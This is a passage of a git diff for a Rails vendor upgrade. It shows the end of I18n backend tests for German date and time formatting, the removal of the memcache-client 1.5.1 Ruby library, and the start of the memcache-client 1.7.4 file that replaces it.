+    assert_equal '01. Jan', @backend.localize('de', @date, :short)
+  end
+
+  def test_translate_given_the_long_format_it_uses_it
+    assert_equal '01. Januar 2008', @backend.localize('de', @date, :long)
+  end
+
+  def test_translate_given_the_default_format_it_uses_it
+    assert_equal '01.01.2008', @backend.localize('de', @date, :default)
+  end
+
+  def test_translate_given_a_day_name_format_it_returns_a_day_name
+    assert_equal 'Dienstag', @backend.localize('de', @date, '%A')
+  end
+
+  def test_translate_given_an_abbr_day_name_format_it_returns_an_abbrevated_day_name
+    assert_equal 'Di', @backend.localize('de', @date, '%a')
+  end
+
+  def test_translate_given_a_month_name_format_it_returns_a_month_name
+    assert_equal 'Januar', @backend.localize('de', @date, '%B')
+  end
+
+  def test_translate_given_an_abbr_month_name_format_it_returns_an_abbrevated_month_name
+    assert_equal 'Jan', @backend.localize('de', @date, '%b')
+  end
+
+  def test_translate_given_no_format_it_does_not_fail
+    assert_nothing_raised{ @backend.localize 'de', @date }
+  end
+
+  def test_translate_given_an_unknown_format_it_does_not_fail
+    assert_nothing_raised{ @backend.localize 'de', @date, '%x' }
+  end
+
+  def test_localize_nil_raises_argument_error
+    assert_raise(I18n::ArgumentError) { @backend.localize 'de', nil }
+  end
+
+  def test_localize_object_raises_argument_error
+    assert_raise(I18n::ArgumentError) { @backend.localize 'de', Object.new }
+  end
+end
+
+class I18nSimpleBackendLocalizeDateTimeTest < Test::Unit::TestCase
+  include I18nSimpleBackendTestSetup
+
+  def setup
+    @backend = I18n::Backend::Simple.new
+    add_datetime_translations
+    @morning = DateTime.new 2008, 1, 1, 6
+    @evening = DateTime.new 2008, 1, 1, 18
+  end
+
+  def test_translate_given_the_short_format_it_uses_it
+    assert_equal '01. Jan 06:00', @backend.localize('de', @morning, :short)
+  end
+
+  def test_translate_given_the_long_format_it_uses_it
+    assert_equal '01. Januar 2008 06:00', @backend.localize('de', @morning, :long)
+  end
+
+  def test_translate_given_the_default_format_it_uses_it
+    assert_equal 'Di, 01. Jan 2008 06:00:00 +0000', @backend.localize('de', @morning, :default)
+  end
+
+  def test_translate_given_a_day_name_format_it_returns_the_correct_day_name
+    assert_equal 'Dienstag', @backend.localize('de', @morning, '%A')
+  end
+
+  def test_translate_given_an_abbr_day_name_format_it_returns_the_correct_abbrevated_day_name
+    assert_equal 'Di', @backend.localize('de', @morning, '%a')
+  end
+
+  def test_translate_given_a_month_name_format_it_returns_the_correct_month_name
+    assert_equal 'Januar', @backend.localize('de', @morning, '%B')
+  end
+
+  def test_translate_given_an_abbr_month_name_format_it_returns_the_correct_abbrevated_month_name
+    assert_equal 'Jan', @backend.localize('de', @morning, '%b')
+  end
+
+  def test_translate_given_a_meridian_indicator_format_it_returns_the_correct_meridian_indicator
+    assert_equal 'am', @backend.localize('de', @morning, '%p')
+    assert_equal 'pm', @backend.localize('de', @evening, '%p')
+  end
+
+  def test_translate_given_no_format_it_does_not_fail
+    assert_nothing_raised{ @backend.localize 'de', @morning }
+  end
+
+  def test_translate_given_an_unknown_format_it_does_not_fail
+    assert_nothing_raised{ @backend.localize 'de', @morning, '%x' }
+  end
+end
+
+class I18nSimpleBackendLocalizeTimeTest < Test::Unit::TestCase
+  include I18nSimpleBackendTestSetup
+
+  def setup
+    @old_timezone, ENV['TZ'] = ENV['TZ'], 'UTC'
+    @backend = I18n::Backend::Simple.new
+    add_datetime_translations
+    @morning = Time.parse '2008-01-01 6:00 UTC'
+    @evening = Time.parse '2008-01-01 18:00 UTC'
+  end
+
+  def teardown
+    @old_timezone ? ENV['TZ'] = @old_timezone : ENV.delete('TZ')
+  end
+
+  def test_translate_given_the_short_format_it_uses_it
+    assert_equal '01. Jan 06:00', @backend.localize('de', @morning, :short)
+  end
+
+  def test_translate_given_the_long_format_it_uses_it
+    assert_equal '01. Januar 2008 06:00', @backend.localize('de', @morning, :long)
+  end
+
+  # TODO Seems to break on Windows because ENV['TZ'] is ignored. What's a better way to do this?
+  # def test_translate_given_the_default_format_it_uses_it
+  #   assert_equal 'Di, 01. Jan 2008 06:00:00 +0000', @backend.localize('de', @morning, :default)
+  # end
+
+  def test_translate_given_a_day_name_format_it_returns_the_correct_day_name
+    assert_equal 'Dienstag', @backend.localize('de', @morning, '%A')
+  end
+
+  def test_translate_given_an_abbr_day_name_format_it_returns_the_correct_abbrevated_day_name
+    assert_equal 'Di', @backend.localize('de', @morning, '%a')
+  end
+
+  def test_translate_given_a_month_name_format_it_returns_the_correct_month_name
+    assert_equal 'Januar', @backend.localize('de', @morning, '%B')
+  end
+
+  def test_translate_given_an_abbr_month_name_format_it_returns_the_correct_abbrevated_month_name
+    assert_equal 'Jan', @backend.localize('de', @morning, '%b')
+  end
+
+  def test_translate_given_a_meridian_indicator_format_it_returns_the_correct_meridian_indicator
+    assert_equal 'am', @backend.localize('de', @morning, '%p')
+    assert_equal 'pm', @backend.localize('de', @evening, '%p')
+  end
+
+  def test_translate_given_no_format_it_does_not_fail
+    assert_nothing_raised{ @backend.localize 'de', @morning }
+  end
+
+  def test_translate_given_an_unknown_format_it_does_not_fail
+    assert_nothing_raised{ @backend.localize 'de', @morning, '%x' }
+  end
+end
+
+class I18nSimpleBackendHelperMethodsTest < Test::Unit::TestCase
+  def setup
+    @backend = I18n::Backend::Simple.new
+  end
+
+  def test_deep_symbolize_keys_works
+    result = @backend.send :deep_symbolize_keys, 'foo' => {'bar' => {'baz' => 'bar'}}
+    expected = {:foo => {:bar => {:baz => 'bar'}}}
+    assert_equal expected, result
+  end
+end
+
+class I18nSimpleBackendLoadTranslationsTest < Test::Unit::TestCase
+  include I18nSimpleBackendTestSetup
+
+  def test_load_translations_with_unknown_file_type_raises_exception
+    assert_raise(I18n::UnknownFileType) { @backend.load_translations "#{@locale_dir}/en.xml" }
+  end
+
+  def test_load_translations_with_ruby_file_type_does_not_raise_exception
+    assert_nothing_raised { @backend.load_translations "#{@locale_dir}/en.rb" }
+  end
+
+  def test_load_rb_loads_data_from_ruby_file
+    data = @backend.send :load_rb, "#{@locale_dir}/en.rb"
+    assert_equal({:'en-Ruby' => {:foo => {:bar => "baz"}}}, data)
+  end
+
+  def test_load_rb_loads_data_from_yaml_file
+    data = @backend.send :load_yml, "#{@locale_dir}/en.yml"
+    assert_equal({'en-Yaml' => {'foo' => {'bar' => 'baz'}}}, data)
+  end
+
+  def test_load_translations_loads_from_different_file_formats
+    @backend = I18n::Backend::Simple.new
+    @backend.load_translations "#{@locale_dir}/en.rb", "#{@locale_dir}/en.yml"
+    expected = {
+      :'en-Ruby' => {:foo => {:bar => "baz"}},
+      :'en-Yaml' => {:foo => {:bar => "baz"}}
+    }
+    assert_equal expected, backend_get_translations
+  end
+end
+
+class I18nSimpleBackendLoadPathTest < Test::Unit::TestCase
+  include I18nSimpleBackendTestSetup
+
+  def teardown
+    I18n.load_path = []
+  end
+
+  def test_nested_load_paths_do_not_break_locale_loading
+    @backend = I18n::Backend::Simple.new
+    I18n.load_path = [[File.dirname(__FILE__) + '/locale/en.yml']]
+    assert_nil backend_get_translations
+    assert_nothing_raised { @backend.send :init_translations }
+    assert_not_nil backend_get_translations
+  end
+
+  def test_adding_arrays_of_filenames_to_load_path_do_not_break_locale_loading
+    @backend = I18n::Backend::Simple.new
+    I18n.load_path << Dir[File.dirname(__FILE__) + '/locale/*.{rb,yml}']
+    assert_nil backend_get_translations
+    assert_nothing_raised { @backend.send :init_translations }
+    assert_not_nil backend_get_translations
+  end
+end
+
+class I18nSimpleBackendReloadTranslationsTest < Test::Unit::TestCase
+  include I18nSimpleBackendTestSetup
+  
+  def setup
+    @backend = I18n::Backend::Simple.new
+    I18n.load_path = [File.dirname(__FILE__) + '/locale/en.yml']
+    assert_nil backend_get_translations
+    @backend.send :init_translations
+  end
+  
+  def teardown
+    I18n.load_path = []
+  end
+  
+  def test_setup
+    assert_not_nil backend_get_translations
+  end
+  
+  def test_reload_translations_unloads_translations
+    @backend.reload!
+    assert_nil backend_get_translations
+  end
+  
+  def test_reload_translations_uninitializes_translations
+    @backend.reload!
+    assert_equal @backend.initialized?, false
+  end
+end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/memcache-client-1.5.1/memcache.rb b/vendor/rails/activesupport/lib/active_support/vendor/memcache-client-1.5.1/memcache.rb
deleted file mode 100644
index 99c9af03..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/memcache-client-1.5.1/memcache.rb
+++ /dev/null
@@ -1,849 +0,0 @@
-# All original code copyright 2005, 2006, 2007 Bob Cottrell, Eric Hodel,
-# The Robot Co-op.  All rights reserved.
-#
-# Redistribution and use in source and binary forms, with or without
-# modification, are permitted provided that the following conditions
-# are met:
-#
-# 1. Redistributions of source code must retain the above copyright
-#    notice, this list of conditions and the following disclaimer.
-# 2. Redistributions in binary form must reproduce the above copyright
-#    notice, this list of conditions and the following disclaimer in the
-#    documentation and/or other materials provided with the distribution.
-# 3. Neither the names of the authors nor the names of their contributors
-#    may be used to endorse or promote products derived from this software
-#    without specific prior written permission.
-#
-# THIS SOFTWARE IS PROVIDED BY THE AUTHORS ``AS IS'' AND ANY EXPRESS
-# OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
-# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
-# ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE
-# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
-# OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
-# OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
-# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
-# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
-# OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
-# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-
-
-require 'socket'
-require 'thread'
-require 'timeout'
-require 'rubygems'
-
-class String
-
-  ##
-  # Uses the ITU-T polynomial in the CRC32 algorithm.
-
-  def crc32_ITU_T
-    n = length
-    r = 0xFFFFFFFF
-
-    n.times do |i|
-      r ^= self[i]
-      8.times do
-        if (r & 1) != 0 then
-          r = (r>>1) ^ 0xEDB88320
-        else
-          r >>= 1
-        end
-      end
-    end
-
-    r ^ 0xFFFFFFFF
-  end
-
-end
-
-##
-# A Ruby client library for memcached.
-#
-# This is intended to provide access to basic memcached functionality.  It
-# does not attempt to be complete implementation of the entire API, but it is
-# approaching a complete implementation.
-
-class MemCache
-
-  ##
-  # The version of MemCache you are using.
-
-  VERSION = '1.5.0'
-
-  ##
-  # Default options for the cache object.
-
-  DEFAULT_OPTIONS = {
-    :namespace   => nil,
-    :readonly    => false,
-    :multithread => false,
-  }
-
-  ##
-  # Default memcached port.
-
-  DEFAULT_PORT = 11211
-
-  ##
-  # Default memcached server weight.
-
-  DEFAULT_WEIGHT = 1
-
-  ##
-  # The amount of time to wait for a response from a memcached server.  If a
-  # response is not completed within this time, the connection to the server
-  # will be closed and an error will be raised.
-
-  attr_accessor :request_timeout
-
-  ##
-  # The namespace for this instance
-
-  attr_reader :namespace
-
-  ##
-  # The multithread setting for this instance
-
-  attr_reader :multithread
-
-  ##
-  # The servers this client talks to.  Play at your own peril.
-
-  attr_reader :servers
-
-  ##
-  # Accepts a list of +servers+ and a list of +opts+.  +servers+ may be
-  # omitted.  See +servers=+ for acceptable server list arguments.
-  #
-  # Valid options for +opts+ are:
-  #
-  #   [:namespace]   Prepends this value to all keys added or retrieved.
-  #   [:readonly]    Raises an exception on cache writes when true.
-  #   [:multithread] Wraps cache access in a Mutex for thread safety.
-  #
-  # Other options are ignored.
-
-  def initialize(*args)
-    servers = []
-    opts = {}
-
-    case args.length
-    when 0 then # NOP
-    when 1 then
-      arg = args.shift
-      case arg
-      when Hash   then opts = arg
-      when Array  then servers = arg
-      when String then servers = [arg]
-      else raise ArgumentError, 'first argument must be Array, Hash or String'
-      end
-    when 2 then
-      servers, opts = args
-    else
-      raise ArgumentError, "wrong number of arguments (#{args.length} for 2)"
-    end
-
-    opts = DEFAULT_OPTIONS.merge opts
-    @namespace   = opts[:namespace]
-    @readonly    = opts[:readonly]
-    @multithread = opts[:multithread]
-    @mutex       = Mutex.new if @multithread
-    @buckets     = []
-    self.servers = servers
-  end
-
-  ##
-  # Returns a string representation of the cache object.
-
-  def inspect
-    "<MemCache: %d servers, %d buckets, ns: %p, ro: %p>" %
-      [@servers.length, @buckets.length, @namespace, @readonly]
-  end
-
-  ##
-  # Returns whether there is at least one active server for the object.
-
-  def active?
-    not @servers.empty?
-  end
-
-  ##
-  # Returns whether or not the cache object was created read only.
-
-  def readonly?
-    @readonly
-  end
-
-  ##
-  # Set the servers that the requests will be distributed between.  Entries
-  # can be either strings of the form "hostname:port" or
-  # "hostname:port:weight" or MemCache::Server objects.
-
-  def servers=(servers)
-    # Create the server objects.
-    @servers = servers.collect do |server|
-      case server
-      when String
-        host, port, weight = server.split ':', 3
-        port ||= DEFAULT_PORT
-        weight ||= DEFAULT_WEIGHT
-        Server.new self, host, port, weight
-      when Server
-        if server.memcache.multithread != @multithread then
-          raise ArgumentError, "can't mix threaded and non-threaded servers"
-        end
-        server
-      else
-        raise TypeError, "cannot convert #{server.class} into MemCache::Server"
-      end
-    end
-
-    # Create an array of server buckets for weight selection of servers.
-    @buckets = []
-    @servers.each do |server|
-      server.weight.times { @buckets.push(server) }
-    end
-  end
-
-  ##
-  # Decrements the value for +key+ by +amount+ and returns the new value.
-  # +key+ must already exist.  If +key+ is not an integer, it is assumed to be
-  # 0.  +key+ can not be decremented below 0.
-
-  def decr(key, amount = 1)
-    server, cache_key = request_setup key
-
-    if @multithread then
-      threadsafe_cache_decr server, cache_key, amount
-    else
-      cache_decr server, cache_key, amount
-    end
-  rescue TypeError, SocketError, SystemCallError, IOError => err
-    handle_error server, err
-  end
-
-  ##
-  # Retrieves +key+ from memcache.  If +raw+ is false, the value will be
-  # unmarshalled.
-
-  def get(key, raw = false)
-    server, cache_key = request_setup key
-
-    value = if @multithread then
-              threadsafe_cache_get server, cache_key
-            else
-              cache_get server, cache_key
-            end
-
-    return nil if value.nil?
-
-    value = Marshal.load value unless raw
-
-    return value
-  rescue TypeError, SocketError, SystemCallError, IOError => err
-    handle_error server, err
-  end
-
-  ##
-  # Retrieves multiple values from memcached in parallel, if possible.
-  #
-  # The memcached protocol supports the ability to retrieve multiple
-  # keys in a single request.  Pass in an array of keys to this method
-  # and it will:
-  #
-  # 1. map the key to the appropriate memcached server
-  # 2. send a single request to each server that has one or more key values
-  #
-  # Returns a hash of values.
-  #
-  #   cache["a"] = 1
-  #   cache["b"] = 2
-  #   cache.get_multi "a", "b" # => { "a" => 1, "b" => 2 }
-
-  def get_multi(*keys)
-    raise MemCacheError, 'No active servers' unless active?
-
-    keys.flatten!
-    key_count = keys.length
-    cache_keys = {}
-    server_keys = Hash.new { |h,k| h[k] = [] }
-
-    # map keys to servers
-    keys.each do |key|
-      server, cache_key = request_setup key
-      cache_keys[cache_key] = key
-      server_keys[server] << cache_key
-    end
-
-    results = {}
-
-    server_keys.each do |server, keys_for_server|
-      keys_for_server = keys_for_server.join ' '
-      values = if @multithread then
-                 threadsafe_cache_get_multi server, keys_for_server
-               else
-                 cache_get_multi server, keys_for_server
-               end
-      values.each do |key, value|
-        results[cache_keys[key]] = Marshal.load value
-      end
-    end
-
-    return results
-  rescue TypeError, SocketError, SystemCallError, IOError => err
-    handle_error server, err
-  end
-
-  ##
-  # Increments the value for +key+ by +amount+ and retruns the new value.
-  # +key+ must already exist.  If +key+ is not an integer, it is assumed to be
-  # 0.
-
-  def incr(key, amount = 1)
-    server, cache_key = request_setup key
-
-    if @multithread then
-      threadsafe_cache_incr server, cache_key, amount
-    else
-      cache_incr server, cache_key, amount
-    end
-  rescue TypeError, SocketError, SystemCallError, IOError => err
-    handle_error server, err
-  end
-
-  ##
-  # Add +key+ to the cache with value +value+ that expires in +expiry+
-  # seconds.  If +raw+ is true, +value+ will not be Marshalled.
-  #
-  # Warning: Readers should not call this method in the event of a cache miss;
-  # see MemCache#add.
-
-  def set(key, value, expiry = 0, raw = false)
-    raise MemCacheError, "Update of readonly cache" if @readonly
-    server, cache_key = request_setup key
-    socket = server.socket
-
-    value = Marshal.dump value unless raw
-    command = "set #{cache_key} 0 #{expiry} #{value.size}\r\n#{value}\r\n"
-
-    begin
-      @mutex.lock if @multithread
-      socket.write command
-      result = socket.gets
-      raise_on_error_response! result
-      result
-    rescue SocketError, SystemCallError, IOError => err
-      server.close
-      raise MemCacheError, err.message
-    ensure
-      @mutex.unlock if @multithread
-    end
-  end
-
-  ##
-  # Add +key+ to the cache with value +value+ that expires in +expiry+
-  # seconds, but only if +key+ does not already exist in the cache.
-  # If +raw+ is true, +value+ will not be Marshalled.
-  #
-  # Readers should call this method in the event of a cache miss, not
-  # MemCache#set or MemCache#[]=.
-
-  def add(key, value, expiry = 0, raw = false)
-    raise MemCacheError, "Update of readonly cache" if @readonly
-    server, cache_key = request_setup key
-    socket = server.socket
-
-    value = Marshal.dump value unless raw
-    command = "add #{cache_key} 0 #{expiry} #{value.size}\r\n#{value}\r\n"
-
-    begin
-      @mutex.lock if @multithread
-      socket.write command
-      result = socket.gets
-      raise_on_error_response! result
-      result
-    rescue SocketError, SystemCallError, IOError => err
-      server.close
-      raise MemCacheError, err.message
-    ensure
-      @mutex.unlock if @multithread
-    end
-  end
-
-  ##
-  # Removes +key+ from the cache in +expiry+ seconds.
-
-  def delete(key, expiry = 0)
-    @mutex.lock if @multithread
-
-    raise MemCacheError, "No active servers" unless active?
-    cache_key = make_cache_key key
-    server = get_server_for_key cache_key
-
-    sock = server.socket
-    raise MemCacheError, "No connection to server" if sock.nil?
-
-    begin
-      sock.write "delete #{cache_key} #{expiry}\r\n"
-      result = sock.gets
-      raise_on_error_response! result
-      result
-    rescue SocketError, SystemCallError, IOError => err
-      server.close
-      raise MemCacheError, err.message
-    end
-  ensure
-    @mutex.unlock if @multithread
-  end
-
-  ##
-  # Flush the cache from all memcache servers.
-
-  def flush_all
-    raise MemCacheError, 'No active servers' unless active?
-    raise MemCacheError, "Update of readonly cache" if @readonly
-    begin
-      @mutex.lock if @multithread
-      @servers.each do |server|
-        begin
-          sock = server.socket
-          raise MemCacheError, "No connection to server" if sock.nil?
-          sock.write "flush_all\r\n"
-          result = sock.gets
-          raise_on_error_response! result
-          result
-        rescue SocketError, SystemCallError, IOError => err
-          server.close
-          raise MemCacheError, err.message
-        end
-      end
-    ensure
-      @mutex.unlock if @multithread
-    end
-  end
-
-  ##
-  # Reset the connection to all memcache servers.  This should be called if
-  # there is a problem with a cache lookup that might have left the connection
-  # in a corrupted state.
-
-  def reset
-    @servers.each { |server| server.close }
-  end
-
-  ##
-  # Returns statistics for each memcached server.  An explanation of the
-  # statistics can be found in the memcached docs:
-  #
-  # http://code.sixapart.com/svn/memcached/trunk/server/doc/protocol.txt
-  #
-  # Example:
-  #
-  #   >> pp CACHE.stats
-  #   {"localhost:11211"=>
-  #     {"bytes"=>4718,
-  #      "pid"=>20188,
-  #      "connection_structures"=>4,
-  #      "time"=>1162278121,
-  #      "pointer_size"=>32,
-  #      "limit_maxbytes"=>67108864,
-  #      "cmd_get"=>14532,
-  #      "version"=>"1.2.0",
-  #      "bytes_written"=>432583,
-  #      "cmd_set"=>32,
-  #      "get_misses"=>0,
-  #      "total_connections"=>19,
-  #      "curr_connections"=>3,
-  #      "curr_items"=>4,
-  #      "uptime"=>1557,
-  #      "get_hits"=>14532,
-  #      "total_items"=>32,
-  #      "rusage_system"=>0.313952,
-  #      "rusage_user"=>0.119981,
-  #      "bytes_read"=>190619}}
-  #   => nil
-
-  def stats
-    raise MemCacheError, "No active servers" unless active?
-    server_stats = {}
-
-    @servers.each do |server|
-      sock = server.socket
-      raise MemCacheError, "No connection to server" if sock.nil?
-
-      value = nil
-      begin
-        sock.write "stats\r\n"
-        stats = {}
-        while line = sock.gets do
-          raise_on_error_response! line
-          break if line == "END\r\n"
-          if line =~ /\ASTAT ([\w]+) ([\w\.\:]+)/ then
-            name, value = $1, $2
-            stats[name] = case name
-                          when 'version'
-                            value
-                          when 'rusage_user', 'rusage_system' then
-                            seconds, microseconds = value.split(/:/, 2)
-                            microseconds ||= 0
-                            Float(seconds) + (Float(microseconds) / 1_000_000)
-                          else
-                            if value =~ /\A\d+\Z/ then
-                              value.to_i
-                            else
-                              value
-                            end
-                          end
-          end
-        end
-        server_stats["#{server.host}:#{server.port}"] = stats
-      rescue SocketError, SystemCallError, IOError => err
-        server.close
-        raise MemCacheError, err.message
-      end
-    end
-
-    server_stats
-  end
-
-  ##
-  # Shortcut to get a value from the cache.
-
-  alias [] get
-
-  ##
-  # Shortcut to save a value in the cache.  This method does not set an
-  # expiration on the entry.  Use set to specify an explicit expiry.
-
-  def []=(key, value)
-    set key, value
-  end
-
-  protected
-
-  ##
-  # Create a key for the cache, incorporating the namespace qualifier if
-  # requested.
-
-  def make_cache_key(key)
-    if namespace.nil? then
-      key
-    else
-      "#{@namespace}:#{key}"
-    end
-  end
-
-  ##
-  # Pick a server to handle the request based on a hash of the key.
-
-  def get_server_for_key(key)
-    raise ArgumentError, "illegal character in key #{key.inspect}" if
-      key =~ /\s/
-    raise ArgumentError, "key too long #{key.inspect}" if key.length > 250
-    raise MemCacheError, "No servers available" if @servers.empty?
-    return @servers.first if @servers.length == 1
-
-    hkey = hash_for key
-
-    20.times do |try|
-      server = @buckets[hkey % @buckets.nitems]
-      return server if server.alive?
-      hkey += hash_for "#{try}#{key}"
-    end
-
-    raise MemCacheError, "No servers available"
-  end
-
-  ##
-  # Returns an interoperable hash value for +key+.  (I think, docs are
-  # sketchy for down servers).
-
-  def hash_for(key)
-    (key.crc32_ITU_T >> 16) & 0x7fff
-  end
-
-  ##
-  # Performs a raw decr for +cache_key+ from +server+.  Returns nil if not
-  # found.
-
-  def cache_decr(server, cache_key, amount)
-    socket = server.socket
-    socket.write "decr #{cache_key} #{amount}\r\n"
-    text = socket.gets
-    raise_on_error_response! text
-    return nil if text == "NOT_FOUND\r\n"
-    return text.to_i
-  end
-
-  ##
-  # Fetches the raw data for +cache_key+ from +server+.  Returns nil on cache
-  # miss.
-
-  def cache_get(server, cache_key)
-    socket = server.socket
-    socket.write "get #{cache_key}\r\n"
-    keyline = socket.gets # "VALUE <key> <flags> <bytes>\r\n"
-
-    if keyline.nil? then
-      server.close
-      raise MemCacheError, "lost connection to #{server.host}:#{server.port}"
-    end
-
-    raise_on_error_response! keyline
-    return nil if keyline == "END\r\n"
-
-    unless keyline =~ /(\d+)\r/ then
-      server.close
-      raise MemCacheError, "unexpected response #{keyline.inspect}"
-    end
-    value = socket.read $1.to_i
-    socket.read 2 # "\r\n"
-    socket.gets   # "END\r\n"
-    return value
-  end
-
-  ##
-  # Fetches +cache_keys+ from +server+ using a multi-get.
-
-  def cache_get_multi(server, cache_keys)
-    values = {}
-    socket = server.socket
-    socket.write "get #{cache_keys}\r\n"
-
-    while keyline = socket.gets do
-      return values if keyline == "END\r\n"
-      raise_on_error_response! keyline
-
-      unless keyline =~ /\AVALUE (.+) (.+) (.+)/ then
-        server.close
-        raise MemCacheError, "unexpected response #{keyline.inspect}"
-      end
-
-      key, data_length = $1, $3
-      values[$1] = socket.read data_length.to_i
-      socket.read(2) # "\r\n"
-    end
-
-    server.close
-    raise MemCacheError, "lost connection to #{server.host}:#{server.port}"
-  end
-
-  ##
-  # Performs a raw incr for +cache_key+ from +server+.  Returns nil if not
-  # found.
-
-  def cache_incr(server, cache_key, amount)
-    socket = server.socket
-    socket.write "incr #{cache_key} #{amount}\r\n"
-    text = socket.gets
-    raise_on_error_response! text
-    return nil if text == "NOT_FOUND\r\n"
-    return text.to_i
-  end
-
-  ##
-  # Handles +error+ from +server+.
-
-  def handle_error(server, error)
-    server.close if server
-    new_error = MemCacheError.new error.message
-    new_error.set_backtrace error.backtrace
-    raise new_error
-  end
-
-  ##
-  # Performs setup for making a request with +key+ from memcached.  Returns
-  # the server to fetch the key from and the complete key to use.
-
-  def request_setup(key)
-    raise MemCacheError, 'No active servers' unless active?
-    cache_key = make_cache_key key
-    server = get_server_for_key cache_key
-    raise MemCacheError, 'No connection to server' if server.socket.nil?
-    return server, cache_key
-  end
-
-  def threadsafe_cache_decr(server, cache_key, amount) # :nodoc:
-    @mutex.lock
-    cache_decr server, cache_key, amount
-  ensure
-    @mutex.unlock
-  end
-
-  def threadsafe_cache_get(server, cache_key) # :nodoc:
-    @mutex.lock
-    cache_get server, cache_key
-  ensure
-    @mutex.unlock
-  end
-
-  def threadsafe_cache_get_multi(socket, cache_keys) # :nodoc:
-    @mutex.lock
-    cache_get_multi socket, cache_keys
-  ensure
-    @mutex.unlock
-  end
-
-  def threadsafe_cache_incr(server, cache_key, amount) # :nodoc:
-    @mutex.lock
-    cache_incr server, cache_key, amount
-  ensure
-    @mutex.unlock
-  end
-
-  def raise_on_error_response!(response)
-    if response =~ /\A(?:CLIENT_|SERVER_)?ERROR (.*)/
-      raise MemCacheError, $1.strip
-    end
-  end
-
-
-  ##
-  # This class represents a memcached server instance.
-
-  class Server
-
-    ##
-    # The amount of time to wait to establish a connection with a memcached
-    # server.  If a connection cannot be established within this time limit,
-    # the server will be marked as down.
-
-    CONNECT_TIMEOUT = 0.25
-
-    ##
-    # The amount of time to wait before attempting to re-establish a
-    # connection with a server that is marked dead.
-
-    RETRY_DELAY = 30.0
-
-    ##
-    # The host the memcached server is running on.
-
-    attr_reader :host
-
-    ##
-    # The port the memcached server is listening on.
-
-    attr_reader :port
-
-    ##
-    # The weight given to the server.
-
-    attr_reader :weight
-
-    ##
-    # The time of next retry if the connection is dead.
-
-    attr_reader :retry
-
-    ##
-    # A text status string describing the state of the server.
-
-    attr_reader :status
-
-    ##
-    # Create a new MemCache::Server object for the memcached instance
-    # listening on the given host and port, weighted by the given weight.
-
-    def initialize(memcache, host, port = DEFAULT_PORT, weight = DEFAULT_WEIGHT)
-      raise ArgumentError, "No host specified" if host.nil? or host.empty?
-      raise ArgumentError, "No port specified" if port.nil? or port.to_i.zero?
-
-      @memcache = memcache
-      @host   = host
-      @port   = port.to_i
-      @weight = weight.to_i
-
-      @multithread = @memcache.multithread
-      @mutex = Mutex.new
-
-      @sock   = nil
-      @retry  = nil
-      @status = 'NOT CONNECTED'
-    end
-
-    ##
-    # Return a string representation of the server object.
-
-    def inspect
-      "<MemCache::Server: %s:%d [%d] (%s)>" % [@host, @port, @weight, @status]
-    end
-
-    ##
-    # Check whether the server connection is alive.  This will cause the
-    # socket to attempt to connect if it isn't already connected and or if
-    # the server was previously marked as down and the retry time has
-    # been exceeded.
-
-    def alive?
-      !!socket
-    end
-
-    ##
-    # Try to connect to the memcached server targeted by this object.
-    # Returns the connected socket object on success or nil on failure.
-
-    def socket
-      @mutex.lock if @multithread
-      return @sock if @sock and not @sock.closed?
-
-      @sock = nil
-
-      # If the host was dead, don't retry for a while.
-      return if @retry and @retry > Time.now
-
-      # Attempt to connect if not already connected.
-      begin
-        @sock = timeout CONNECT_TIMEOUT do
-          TCPSocket.new @host, @port
-        end
-        if Socket.constants.include? 'TCP_NODELAY' then
-          @sock.setsockopt Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1
-        end
-        @retry  = nil
-        @status = 'CONNECTED'
-      rescue SocketError, SystemCallError, IOError, Timeout::Error => err
-        mark_dead err.message
-      end
-
-      return @sock
-    ensure
-      @mutex.unlock if @multithread
-    end
-
-    ##
-    # Close the connection to the memcached server targeted by this
-    # object.  The server is not considered dead.
-
-    def close
-      @mutex.lock if @multithread
-      @sock.close if @sock && !@sock.closed?
-      @sock   = nil
-      @retry  = nil
-      @status = "NOT CONNECTED"
-    ensure
-      @mutex.unlock if @multithread
-    end
-
-    private
-
-    ##
-    # Mark the server as dead and close its socket.
-
-    def mark_dead(reason = "Unknown error")
-      @sock.close if @sock && !@sock.closed?
-      @sock   = nil
-      @retry  = Time.now + RETRY_DELAY
-
-      @status = sprintf "DEAD: %s, will retry at %s", reason, @retry
-    end
-  end
-
-  ##
-  # Base MemCache exception class.
-
-  class MemCacheError < RuntimeError; end
-
-end
-
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/memcache-client-1.7.4/memcache.rb b/vendor/rails/activesupport/lib/active_support/vendor/memcache-client-1.7.4/memcache.rb
new file mode 100644
index 00000000..f249da79
--- /dev/null
+++ b/vendor/rails/activesupport/lib/active_support/vendor/memcache-client-1.7.4/memcache.rb
@@ -0,0 +1,1107 @@
+$TESTING = defined?($TESTING) && $TESTING
+
+require 'socket'
+require 'thread'
+require 'zlib'
+require 'digest/sha1'
+require 'net/protocol'
+
+##
+# A Ruby client library for memcached.
+#
+
+class MemCache
+
+  ##
+  # The version of MemCache you are using.
+
+  VERSION = '1.7.4'
+
+  ##
+  # Default options for the cache object.
+
+  DEFAULT_OPTIONS = {
+    :namespace   => nil,
+    :readonly    => false,
+    :multithread => true,
+    :failover    => true,
+    :timeout     => 0.5,
+    :logger      => nil,
+    :no_reply    => false,
+  }
+
+  ##
+  # Default memcached port.
+
+  DEFAULT_PORT = 11211
+
+  ##
+  # Default memcached server weight.
+
+  DEFAULT_WEIGHT = 1
+
+  ##
+  # The namespace for this instance
+
+  attr_reader :namespace
+
+  ##
+  # The multithread setting for this instance
+
+  attr_reader :multithread
+
+  ##
+  # The servers this client talks to.  Play at your own peril.
+
+  attr_reader :servers
+
+  ##
+  # Socket timeout limit with this client, defaults to 0.5 sec.
